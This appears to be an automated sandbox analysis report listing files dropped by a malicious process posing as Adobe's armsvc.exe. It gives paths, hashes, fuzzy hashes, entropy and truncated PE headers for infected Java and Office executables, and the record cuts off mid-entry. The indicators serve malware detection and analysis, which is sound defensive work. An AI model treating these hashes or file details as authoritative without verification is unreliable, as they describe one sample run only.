Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........q..A...A...A...Hh..M...#h..C...U{..C...#h..R...#h..M...#h..@....i..B...A...w....i..@....in.@....i..@...RichA...........................PE..L.....d..................................... ....@..................................x.......................................&.......@..T............................"..T............................!..@............ ...............................text............................... ..`.rdata..>.... ......................@..@.data........0....... ..............@....rsrc...T....@......."..............@..@.reloc...`...P......................@...................................................................................................................................................................................................................................................................................................

C:\Program Files (x86)\Java\jre-1.8\bin\ktab.exe

Process:	C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe
File Type:	PE32 executable (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1297920
Entropy (8bit):	4.529353490025967
Encrypted:	false
SSDEEP:	12288:Kmm4iJw/9Rrw0R1u4V/0YG3wx6EcJHUEhPUotFZr+1izHGNe8jKk34z:lr/TwSfVcYG3K/cJHlnFR+IGNe8j3Iz
MD5:	B125035D6D01497EC9460E4066C67FB6
SHA1:	064F8B5F47912B143BA00FC06D7338BB8148DD60
SHA-256:	F0F7D73A89BC36AD380FDC9FE4C71730E8C0DD118813759D8A552090AF9D5706
SHA-512:	D29455C745BF211B6976317C4FCB201FA973FB5756F397DC978BF358559F41F1EE32C073F5737DB949CCEC598D751A7BD8822EE42E3166C0F772B7D631CD2594
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........q..A...A...A...Hh..M...#h..C...U{..C...#h..R...#h..M...#h..@....i..B...A...w....i..@....in.@....i..@...RichA...........................PE..L.....d..................................... ....@..........................................................................&.......@..P............................"..T............................!..@............ ...............................text............................... ..`.rdata..6.... ......................@..@.data........0....... ..............@....rsrc...P....@......."..............@..@.reloc...`...P......................@...................................................................................................................................................................................................................................................................................................

C:\Program Files (x86)\Java\jre-1.8\bin\orbd.exe

Process:	C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe
File Type:	PE32 executable (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1297920
Entropy (8bit):	4.530191949349729
Encrypted:	false
SSDEEP:	12288:wnmEiJw/9Rrw0R1u4V/0YG3wx6EcJHUEhPUotFZr+1izHGNe8jKk34z:an/TwSfVcYG3K/cJHlnFR+IGNe8j3Iz
MD5:	A53EF06C47227C108986117FD480A6A8
SHA1:	44D646F92573145D5C86E56331BCF283F7F5D582
SHA-256:	7F3DDBED99161B2A43097C106B0BB9B76045B70F8F7AEA0CB717A4FDC5AEFA40
SHA-512:	A93377E77135337A115FFDEB877661518E9840156042D9B659E9FF3E29E22908F8B93A531862B119C3666B32AF5D9B44B038000B927EA3733968F3690C56EE24
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........q..A...A...A...Hh..M...#h..C...U{..C...#h..R...#h..M...#h..@....i..B...A...w....i..@....in.@....i..@...RichA...........................PE..L.....d..................................... ....@.........................................................................D'.......@..P........................... #..T...........................`"..@............ ...............................text............................... ..`.rdata....... ......................@..@.data........0....... ..............@....rsrc...P....@......."..............@..@.reloc...`...P......................@...................................................................................................................................................................................................................................................................................................

C:\Program Files (x86)\Java\jre-1.8\bin\pack200.exe

Process:	C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe
File Type:	PE32 executable (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1297920
Entropy (8bit):	4.529339204103891
Encrypted:	false
SSDEEP:	12288:+T5wiJw/9Rrw0R1u4V/0YG3wx6EcJHUEhPUotFZr+1izHGNe8jKk34z:OM/TwSfVcYG3K/cJHlnFR+IGNe8j3Iz
MD5:	FD890001637DA83895F5532DA8FAB1DD
SHA1:	C884AA3AB294F8D6CFC33E6E0133957373D44C74
SHA-256:	FA019F4B7C36C09DAC627B160865C78614BA52D5B4FE9A439480A6A72FDD17B8
SHA-512:	D63E970CED2F8F6F421CD412E27D826E6865E9C71C0ADB034920B1219EDC1C7D5EB2F4A202A3E11CA03EC7C3FF14DBB5891231E0D19BA6D0B8B8AE8C66781D62
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........q..A...A...A...Hh..M...#h..C...U{..C...#h..R...#h..M...#h..@....i..B...A...w....i..@....in.@....i..@...RichA...........................PE..L.....d..................................... ....@..........................................................................&.......@..\............................"..T............................!..@............ ...............................text............................... ..`.rdata..>.... ......................@..@.data........0....... ..............@....rsrc...\....@......."..............@..@.reloc...`...P......................@...................................................................................................................................................................................................................................................................................................

C:\Program Files (x86)\Java\jre-1.8\bin\policytool.exe

Process:	C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe
File Type:	PE32 executable (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1297920
Entropy (8bit):	4.529357861203298
Encrypted:	false
SSDEEP:	12288:ew/YiJw/9Rrw0R1u4V/0YG3wx6EcJHUEhPUotFZr+1izHGNe8jKk34z:fS/TwSfVcYG3K/cJHlnFR+IGNe8j3Iz
MD5:	CF93893CBCB9FD2065645BE2745D100B
SHA1:	C7342A1171210D94ABE41D9423DF65DFFD774A2B
SHA-256:	63C2072193953BCC710B025C50D578FFD3BDCAF0EA6599B5200EA8D6EB47ECF5
SHA-512:	7C5447EF724217513CB2AC623EAF98E1193675543623BFC4EF69DB2DB88595F62374EB070C74C810BF30540DB5B2941813194287421980DB362B7D59884FFC06
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........q..A...A...A...Hh..M...#h..C...U{..C...#h..R...#h..M...#h..@....i..B...A...w....i..@....in.@....i..@...RichA...........................PE..L.....d..................................... ....@..........................................................................&.......@..p............................"..T............................!..@............ ...............................text............................... ..`.rdata..F.... ......................@..@.data........0....... ..............@....rsrc...p....@......."..............@..@.reloc...`...P......................@...................................................................................................................................................................................................................................................................................................

C:\Program Files (x86)\Java\jre-1.8\bin\rmid.exe

Process:	C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe
File Type:	PE32 executable (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1297920
Entropy (8bit):	4.529281003193878
Encrypted:	false
SSDEEP:	12288:0AmoiJw/9Rrw0R1u4V/0YG3wx6EcJHUEhPUotFZr+1izHGNe8jKk34z:xr/TwSfVcYG3K/cJHlnFR+IGNe8j3Iz
MD5:	CB75D62DC8A10349A4D94EAF3442A8AF
SHA1:	BD292C54907E11259CC16075CDDA9366233AB081
SHA-256:	7486EECD0F2FF6FF60B504A04271A8568EB0ACE32CA130483C8CEFC5A0E92EEC
SHA-512:	345F08326137AC16F782A533160566C8DA70331E9CEC4E2C1D165D21FB72EB7B0F59ACB5BE59A3688F510906AF09234660C13060DEF6E4397D40A93A44FD35E3
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........q..A...A...A...Hh..M...#h..C...U{..C...#h..R...#h..M...#h..@....i..B...A...w....i..@....in.@....i..@...RichA...........................PE..L.....d..................................... ....@.................................-........................................&.......@..P............................"..T............................!..@............ ...............................text............................... ..`.rdata..6.... ......................@..@.data........0....... ..............@....rsrc...P....@......."..............@..@.reloc...`...P......................@...................................................................................................................................................................................................................................................................................................

C:\Program Files (x86)\Java\jre-1.8\bin\rmiregistry.exe

Process:	C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe
File Type:	PE32 executable (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1297920
Entropy (8bit):	4.529320381532006
Encrypted:	false
SSDEEP:	12288:S1SQiJw/9Rrw0R1u4V/0YG3wx6EcJHUEhPUotFZr+1izHGNe8jKk34z:ov/TwSfVcYG3K/cJHlnFR+IGNe8j3Iz
MD5:	6583E40BECCCFE6F6F76281DEF62316F
SHA1:	2D77BA43B4B7A936B39651291EA47068B09B8DFE
SHA-256:	0485E85B6939D2A7B5C52DBDBB6799E79AA36A0365534B8D415CD215D3904530
SHA-512:	1914F81C8515F26281CE1D210AD012C5357C738001931A48B8CEC49FE24CF208AFBC88047EAD21A33FB8B805AA2064FA62222078270AEB21DAE1A18455052DE7
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........q..A...A...A...Hh..M...#h..C...U{..C...#h..R...#h..M...#h..@....i..B...A...w....i..@....in.@....i..@...RichA...........................PE..L.....d..................................... ....@.................................&........................................&.......@..p............................"..T............................!..@............ ...............................text............................... ..`.rdata..F.... ......................@..@.data........0....... ..............@....rsrc...p....@......."..............@..@.reloc...`...P......................@...................................................................................................................................................................................................................................................................................................

C:\Program Files (x86)\Java\jre-1.8\bin\servertool.exe

Process:	C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe
File Type:	PE32 executable (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1297920
Entropy (8bit):	4.529391610842829
Encrypted:	false
SSDEEP:	12288:5U/YiJw/9Rrw0R1u4V/0YG3wx6EcJHUEhPUotFZr+1izHGNe8jKk34z:2S/TwSfVcYG3K/cJHlnFR+IGNe8j3Iz
MD5:	B47A4E033B71AAB469201A2EDAA30811
SHA1:	C4E63E4E41F1CB1B15A67B8D6AAD8BCE28114A5C
SHA-256:	DA81F6CFBFE93C5BF9BA01CDA2404666E1A7BFBA36C34545AA4D3AD8AF59C262
SHA-512:	23F31D54D3DF683380F40315B01349A213086F0473D27D7E1A4091ED7731C6498D0FE6A535A7EF2BB3C452B174329658C5B428ED129C0FD5EFB59738079F05A8
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........q..A...A...A...Hh..M...#h..C...U{..C...#h..R...#h..M...#h..@....i..B...A...w....i..@....in.@....i..@...RichA...........................PE..L.....d..................................... ....@.................................x........................................&.......@..p............................"..T............................!..@............ ...............................text............................... ..`.rdata..F.... ......................@..@.data........0....... ..............@....rsrc...p....@......."..............@..@.reloc...`...P......................@...................................................................................................................................................................................................................................................................................................

C:\Program Files (x86)\Java\jre-1.8\bin\ssvagent.exe

Process:	C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1358336
Entropy (8bit):	4.612101598034031
Encrypted:	false
SSDEEP:	24576:tEs/TwSfVcYG3K/cJHlnFR+IGNe8j3Iz:tXLNiXicJFFRGNzj3
MD5:	5E43BAD49E482B8F2EB2AF13AB31973B
SHA1:	B0E1E0307DC3FD304EDF9B4F8D6061DB1F15B80F
SHA-256:	0365EEB05A88D3931A058DDFE71EB5977AA6D438D7B3ED36C8F2D444D3A596DD
SHA-512:	9CC9715D4E4B4D4BC01A36CFEAD459B7D1425CF48C9CD7249EECDB833A3E7C0877F769F6B79FA5C1DDEB92F7C41A63FF4AFBE9A3D9E50B72F77BA464B75619A2
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......zGG.>&).>&).>&).7^..&).\^(.<&).\^-.3&).\^.=&).M-.?&).M(.7&).>&(.&).\^,..&)._,.:&)._..?&)._+.?&).Rich>&).........PE..L...M.d.................\|...........u............@.................................h...........................................@....0..............................H...T...............................@...............P...P........................text...L{.......\|.................. ..`.rdata.............................@..@.data........ ......................@....rsrc........0......................@..@.reloc...`...@......................@...................................................................................................................................................................................................................................................................................................................

C:\Program Files (x86)\Java\jre-1.8\bin\tnameserv.exe

Process:	C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe
File Type:	PE32 executable (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1298432
Entropy (8bit):	4.5289694914569
Encrypted:	false
SSDEEP:	12288:7FQ0iJw/9Rrw0R1u4V/0YG3wx6EcJHUEhPUotFZr+1izHGNe8jKk34z:RJ/TwSfVcYG3K/cJHlnFR+IGNe8j3Iz
MD5:	504B2F9BAD5E5DE065E818F904149B8D
SHA1:	31785C1EEA0B29988DAA407D413AC61C3EF15A17
SHA-256:	47A799BC4993CFEBCBFE607508ABBD96A3ED9BEFCC939AAFFFD438FD47A2A654
SHA-512:	1CF78A1B34275A5E84149F48EC3BB23B43CA2F814DFA07FD62DBD334448C020AB79AD4A3B02F5F20CBEE195162F65251E211323D312488026C8E426251CDB982
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........q..A...A...A...Hh..M...#h..C...U{..C...#h..R...#h..M...#h..@....i..B...A...w....i..@....in.@....i..@...RichA...........................PE..L.....d..................... ............... ....@..................................l.......................................'.......@..h...........................8#..T...........................x"..@............ ...............................text............................... ..`.rdata....... ......................@..@.data........0......."..............@....rsrc...h....@.......$..............@..@.reloc...`...P.......0..............@...................................................................................................................................................................................................................................................................................................

C:\Program Files (x86)\Java\jre-1.8\bin\unpack200.exe

Process:	C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe
File Type:	PE32 executable (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1454592
Entropy (8bit):	4.787851016884923
Encrypted:	false
SSDEEP:	24576:Qi7le3roAI/TwSfVcYG3K/cJHlnFR+IGNe8j3Iz:zloroAILNiXicJFFRGNzj3
MD5:	B10F80D1F6B68448B497D59C88F855D8
SHA1:	BDA053D6C0A2D5D7F0022F24395E568E9AB91A5F
SHA-256:	B5589EE873BEB4F28FEC3BCE5941DF22EB2B783657F5A81DF263D6F07E7D54AA
SHA-512:	82F97FDA447AD5307BD69D872A4D2D46A896D577BF4C5F9E9D3014976D69F96A30EB1231B0B3B3607B901000A4EABF95ADEA406D3B36C855DB926B40F3442C8E
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........n...........................................................................................Rich............................PE..L.....d............................A.............@..........................@!.........................................................D............................e..8............................e..@............................................text...D........................... ..`.rdata..5...........................@..@.data................f..............@....idata...............v..............@..@.00cfg..............................@..@.rsrc...D...........................@..@.reloc...`..........................@...........................................................................................................................................................................................................

C:\Program Files (x86)\Microsoft Office\Office16\OSPPREARM.EXE

Process:	C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe
File Type:	PE32 executable (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1424896
Entropy (8bit):	4.811524742068078
Encrypted:	false
SSDEEP:	24576:7NfQNt/TwSfVcYG3K/cJHlnFR+IGNe8j3Iz:RGtLNiXicJFFRGNzj3
MD5:	1D461E4AF3D39CD739765541BB8E444C
SHA1:	A10C205329F775A451F5DDFBC621B4A894EB6DA4
SHA-256:	FFFDE893A6040A15D67AD4B83512F029138319FE324207B02F8151725B57DB88
SHA-512:	001A521DB189788A5EC6F4966D3CAA6106F30CB4F7FE01B43458109A2DED07B3D29FA53EDF6133FAE2FC3B2266C1F5AFB80122BCE330553356C4B8F33836EB8D
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......X.u.....................\|.......\|.......\|.......\|...?.......................................y.......y.......y.......Rich............................PE..L...-1.e............... ..........................@........................... ......J......................................d...........................................8...............................@...............,............................text............................... ..`.rdata..4a.......b..................@..@.data........ ......................@....reloc...p...@......................@...........................................................................................................................................................................................................................................................................................................................

C:\Program Files (x86)\Microsoft Office\root\Client\AppVDllSurrogate.exe

Process:	C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe
File Type:	PE32 executable (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1443328
Entropy (8bit):	4.832399668119106
Encrypted:	false
SSDEEP:	24576:yLii/TwSfVcYG3K/cJHlnFR+IGNe8j3Iz:0LNiXicJFFRGNzj3
MD5:	5CD662111B715CFB14415324AFB6807B
SHA1:	27C420610E788726D70BF1634A7D6780CCE0E5F7
SHA-256:	308BB28074D2A203A867B2AEB9C2BB0ECCBAC94A7D5F386008EFEF6C3E167B6A
SHA-512:	1BF683C1E9EC516C04EEB9B5537301B68FEBF16219B23F2CF8F42DC145B82D764124A16DE49434642ED9C99BC3EB0F41DC8A8DBD25F928FF2DA7AD8C44318237
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......,3.zhR.)hR.)hR.)a.)`R.). .(nR.). .(wR.). .(oR.)hR.).V.). .(AR.). o)jR.). .(xR.). m)iR.). .(iR.)RichhR.)................PE..L...I.6..................&...H......`........@....@........................... .................. ...........................Q.......`..(...........................`^..T....................B..........@............P...............................text....$.......&.................. ..`.data........@.....................@....idata..l....P.......2..............@..@.rsrc...(....`.......@..............@..@.reloc.......p.......F..............@...................................................................................................................................................................................................................................................................................................................

C:\Program Files (x86)\Microsoft Office\root\Client\AppVDllSurrogate32.exe

Process:	C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe
File Type:	PE32 executable (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1443328
Entropy (8bit):	4.83239334892395
Encrypted:	false
SSDEEP:	24576:ZLii/TwSfVcYG3K/cJHlnFR+IGNe8j3Iz:DLNiXicJFFRGNzj3
MD5:	CA437280658F4A46ADC57498E5DF48DF
SHA1:	B4AF2921E5E84652DB03B1CB21B8025C88EE56DB
SHA-256:	155E683F58DA8DD1D213D136D65EED577A9D5212D35F9B6184A348168F9946C7
SHA-512:	A3A704DA31FDE8BE2DB5FA019508B20FD2C1D015285749C2B3996651644B256D796EC0C9F7585CEDC1C2B775F6109610A06319A7BD37F8ED70ECF0EFD6545378
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......,3.zhR.)hR.)hR.)a.)`R.). .(nR.). .(wR.). .(oR.)hR.).V.). .(AR.). o)jR.). .(xR.). m)iR.). .(iR.)RichhR.)................PE..L...I.6..................&...H......`........@....@........................... .....8q........... ...........................Q.......`..(...........................`^..T....................B..........@............P...............................text....$.......&.................. ..`.data........@.....................@....idata..l....P.......2..............@..@.rsrc...(....`.......@..............@..@.reloc.......p.......F..............@...................................................................................................................................................................................................................................................................................................................

C:\Program Files (x86)\Microsoft Office\root\Client\AppVDllSurrogate64.exe

Process:	C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe
File Type:	PE32+ executable (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	1499136
Entropy (8bit):	4.787944047801101
Encrypted:	false
SSDEEP:	24576:kf2/TwSfVcYG3K/cJHlnFR+IGNe8j3Iz:kf2LNiXicJFFRGNzj3
MD5:	4EACC5E5D64FB5562D3E43D4F232FA1C
SHA1:	595D443743B81CBE9773D9BAB6D9021B29AA91A1
SHA-256:	3FEC2D728AE23644D793FF3A07ACC3D9D5F1BDA7F19C23B282AA45CB40E3E79A
SHA-512:	8525F419DE0C0DBBA33143B4B14F5D35D48D85F179D38000AEBA2B1EE936F976BFF607EB977042AFD910BBCC29DE0224B7BE545AD69C31FB5DDF7D12B15D6B6B
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$....... .(.d.F.d.F.d.F.m..l.F...B.h.F...E.`.F...C.{.F...G.c.F.d.G...F...N.M.F.....f.F.....e.F...D.e.F.Richd.F.................PE..d....~0/.........."..........P.................@..............................!......K.... .......... ...................................... ........ ..(...............................T....................e..(...`d..8............e...............................text............................... ..`.rdata..............................@..@.data...@...........................@....pdata..............................@..@.rsrc...(.... ......................@..@.reloc.......0....... ..............@...........................................................................................................................................................................................................................................................

C:\Program Files (x86)\Microsoft Office\root\Client\AppVLP.exe

Process:	C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1651712
Entropy (8bit):	5.153484784693589
Encrypted:	false
SSDEEP:	24576:+bUO42K/E0/TwSfVcYG3K/cJHlnFR+IGNe8j3Iz:+R0LNiXicJFFRGNzj3
MD5:	54D7863E22B496441097EC6189990F11
SHA1:	61490A8D086B28F902913A32CC080C5BF51E06F2
SHA-256:	542D8779F6F27EDBBED16DAF717525CD4A7E6C2976FC98D31D3CD4FA52B2AE28
SHA-512:	9EFC72F808130E63B36EF7265662B1D3DDC9C45BD159D14AA2ED560417EF63A78A7602ED4696317A7DD62F44D52F3BA1B4B461C5DB53380D114E87125C5C01DD
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......X..i.v.:.v.:.v.:...;9v.:...;.v.:...;.v.:.v.:.v.:...;$v.:...;4v.:...:.v.:...;.v.:Rich.v.:........................PE..L......m.................0...\|...............@....@..........................0$.................. ......................................................................T...................`[..........@............p...............................text...l/.......0.................. ..`.data...@'...@.......4..............@....idata..@....p.......L..............@..@.c2r.................\...................rsrc................^..............@..@.reloc...............d..............@...................................................................................................................................................................................................................................................................................

C:\Program Files (x86)\Microsoft Office\root\Integration\Addons\OneDriveSetup.exe

Process:	C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	52712960
Entropy (8bit):	7.961744860662916
Encrypted:	false
SSDEEP:	1572864:kKjL44lyBc+UN0qRsMjDAY9d5o/paLXzHLe:HicZmsR3Lo/cnLe
MD5:	DC130ED54EA46279771715999DE4E08A
SHA1:	C03193E197A3D5BFF1EAD48ECF176C6218997372
SHA-256:	AB65BC53D46EC91C33E9F338DB3D0E9AA09C75428ADC968EDDFE0FFD10B9F2B1
SHA-512:	AFA5118C1227AF4E16D4655C5AEA2504CDEBAAA5CC1E9F415519760C25703CDE45E08570083704EE0EF7F328FE317A1B479376C9A1AF21960D12EA56EEE2E203
Malicious:	true
Preview:	MZ......................@...................................0...........!..L.!This program cannot be run in DOS mode....$.......LN.../nB./nB./nB.]mC./nB.]kC./nB.TjC./nB.TmC./nB.TkC}/nB.FjC./nB.FkC3/nB.]hC./nB.]jC./nB.]oC?/nB./oBq-nB.TgC./nB.TkC./nB.TnC./nB.T.B./nB.TlC./nBRich./nB........................PE..L...1~............"....!.j(.........p]........(...@...........................$.....j.$..............................l3..t....3.0.....6.X............................./.p...................../.....h./.@.............(......j3.`....................text...jh(......j(................. ..`.rdata........(......n(.............@..@.data...t.... 4.......4.............@....didat..$.....5.......5.............@....rsrc...X.....6.......5.............@..@.reloc... ...........F..............@...................................................................................................................................................................................................................

C:\Program Files (x86)\Microsoft Office\root\Integration\Integrator.exe

Process:	C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe
File Type:	PE32 executable (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	4993536
Entropy (8bit):	6.808159034893057
Encrypted:	false
SSDEEP:	98304:olkkCqyDEY7+o3OBvfGVY+40yaHyS+9s/pLR7wRGpj3:ykkCqaE68eV+0yAE6L1F9
MD5:	D5AEB696E27B257160DB0AA4DEC61D27
SHA1:	87AA9F995FE60272B417F903EA431E6D51BBAD4C
SHA-256:	92E7F15FE120278569CA8E5606C79899186C176CB9E9F2084B2F59026A052614
SHA-512:	616A59E0C5DFBF48EC1566C75C7FB88CF2C62B2D38FAEC525DE5FED03057621F32377A1D742D5E131AED034367695AEAE39EB801A5A44B4234B7BF7BB60691AB
Malicious:	true
Preview:	MZ......................@...................................(...........!..L.!This program cannot be run in DOS mode....$........:V@.[8..[8..[8.{);..[8.{)=..[8..!<..[8..!;..[8..!=..[8.\.U..[8.\.E..[8.{)<..[8.{)>..[8.{)9..[8..[9..X8..!=..[8..!1.0^8..!...[8..[...[8..!:..[8.Rich.[8.................PE..L......e..........".... ....Z........%......`+...@..........................pL.....w.L......................................=......p?.............................<.=.8...................P.:..... .+.@.............+......j=......................text............................. ..`.rdata........+....................@..@.data.........=.......=.............@....rsrc........p?......F?.............@..@.reloc........?......R?.............@...................................................................................................................................................................................................................................................................

C:\Program Files (x86)\Microsoft Office\root\Office16\AppSharingHookController.exe

Process:	C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1324032
Entropy (8bit):	4.5502401544644675
Encrypted:	false
SSDEEP:	12288:XiJw/9Rrw0R1u4V/0YG3wx6EcJHUEhPUotFZr+1izHGNe8jKk34z:j/TwSfVcYG3K/cJHlnFR+IGNe8j3Iz
MD5:	C9975780F528FCE195E76A438415FB7A
SHA1:	499AB65E1459F36A2A773DA48B9AA7961875F46A
SHA-256:	033C3E007AA02197A779DEDDD6C529F4999F3996317F7B0BDB45724BDE2F0BA3
SHA-512:	5034FEA0712F33227C6A2772A68C17087E371CCBFA5ADFF3D257D126F72307C9F1CDE6A6339ADFDA6534A748531C438BE14F4205FFAA6E80BC127B8586CC52A9
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........._...........I.....................................................................%...........Rich...........PE..L....[.d............... .F...P......`?.......`....@.......................... .........................................................$...........................P}..8....................i......`d..@............`......4o.......................text....E.......F.................. ..`.rdata.......`... ...J..............@..@.data................j..............@....c2r.....................................rsrc...$...........................@..@.reloc...`..........................@...................................................................................................................................................................................................................................................................

C:\Program Files (x86)\Microsoft Office\root\Office16\CLVIEW.EXE

Process:	C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1678336
Entropy (8bit):	4.928002299015052
Encrypted:	false
SSDEEP:	24576:7yAAWSS2Ht3/TwSfVcYG3K/cJHlnFR+IGNe8j3Iz:7IUMt3LNiXicJFFRGNzj3
MD5:	9041A94CFCF6C29217D288349E69E3B8
SHA1:	160C77701F31CCFB153504962E6AD0BC9D44B7A5
SHA-256:	A2263BC86226F7CDBD1FEEE70BEF89C5D2CCCBE724C2049EAFF15E2DDE44B317
SHA-512:	A6E7931B31BD2386EDD4B69C303FE12D992131A4A16AE47161FA5B1D97F3406B01819B53D395C2B6121D44001B5FB66F2556616470D39499735B690F1AB0096A
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$............f.@.f.@.f.@...@.f.@...A.f.@...A.f.@...A.f.@...A.f.@...A.f.@...A.f.@.f.@.d.@...A.f.@...ASf.@..z@.f.@.f.@.f.@...A.f.@Rich.f.@................PE..L......e............... .........................@...........................$.....Z...................................................,T..............................8...................Hj..........@...................D...`....................text...u........................... ..`.rdata..0...........................@..@.data...............................@....c2r.................d...................rsrc...,T.......V...f..............@..@.reloc..............................@...................................................................................................................................................................................................................................................

C:\Program Files (x86)\Microsoft Office\root\Office16\CNFNOT32.EXE

Process:	C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1449472
Entropy (8bit):	4.753527362242671
Encrypted:	false
SSDEEP:	24576:ASG/TwSfVcYG3K/cJHlnFR+IGNe8j3Iz:qLNiXicJFFRGNzj3
MD5:	7DCC637961C221E4F5CE79D608CBAF27
SHA1:	E472AD1391AB38FF791AD80E105864C6E042DD37
SHA-256:	CF596286FE4C67D868E544F3C5A351BE2413AAD98E46565227219919C1F5806F
SHA-512:	1191552F2524FFCAEFA12E3DE714DD8C8D217EABD4CF13A711991728901CD4F27A6AF1347955DCC175CD633DE6DF646048EB4ACC083D74092083F0CCA0392AE1
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........?...^.U.^.U.^.U.&rU.^.U.$.T.^.U.$.T.^.U.$.T.^.U2,.T.^.U2,.T.^.U.^.U.\.U.$.T.^.U.$.T.^.U.$.T.^.U.$.U.^.U.^vU.^.U.$.T.^.URich.^.U........................PE..L......e............... ............&q............@...........................!..............................................p..,.......`...........................(...8...............................@............................................text............................... ..`.rdata..\|o.......p..................@..@.data....T.......R..................@....c2r....T....p.......L...................rsrc...`............N..............@..@.reloc...............^..............@...........................................................................................................................................................................................................................................

C:\Program Files (x86)\Microsoft Office\root\Office16\DCF\Common.ShowHelp.exe

Process:	C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe
File Type:	PE32 executable (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1303552
Entropy (8bit):	4.538127877587889
Encrypted:	false
SSDEEP:	12288:J0aiJw/9Rrw0R1u4V/0YG3wx6EcJHUEhPUotFZr+1izHGNe8jKk34z:Z/TwSfVcYG3K/cJHlnFR+IGNe8j3Iz
MD5:	F2662F4535D0B91367DD232B92B9175F
SHA1:	84418ECBB88AE0A31FE59B9DBAF3C76DB9A79F2E
SHA-256:	BA77962A33C6802C1999F6456BCCBCD6FA9D65D90D8A1F1996C1779EC48F0C14
SHA-512:	581A02D3393708D4E41CF98B2F6CBF3B763D111E4265058CE32D92509E680A2482C2BC063853B379B865A04D51530992E322BE3EEB44768BB76526CB33DCB448
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........T{..T{..T{..].!.D{..4...P{..4...M{..4...X{..4...Q{.....Q{..T{..0{..1...W{..1...S{..1.M.U{..1...U{..RichT{..........................PE..L....[.d............... ."...(......x........@....@..........................................................................I.......p...............................R..8............................A..@............@..T....H..`....................text...? .......".................. ..`.rdata..(....@.......&..............@..@.data...<....`.......<..............@....rsrc........p.......>..............@..@.reloc...`...........D..............@...................................................................................................................................................................................................................................................................................................

C:\Program Files (x86)\Microsoft Office\root\Office16\DCF\filecompare.exe

Process:	C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1574400
Entropy (8bit):	4.962254123522496
Encrypted:	false
SSDEEP:	24576:/AZHHrUZF/S/TwSfVcYG3K/cJHlnFR+IGNe8j3Iz:/e4ZFSLNiXicJFFRGNzj3
MD5:	6E2942B3938F4E34ADA923E0597DD61F
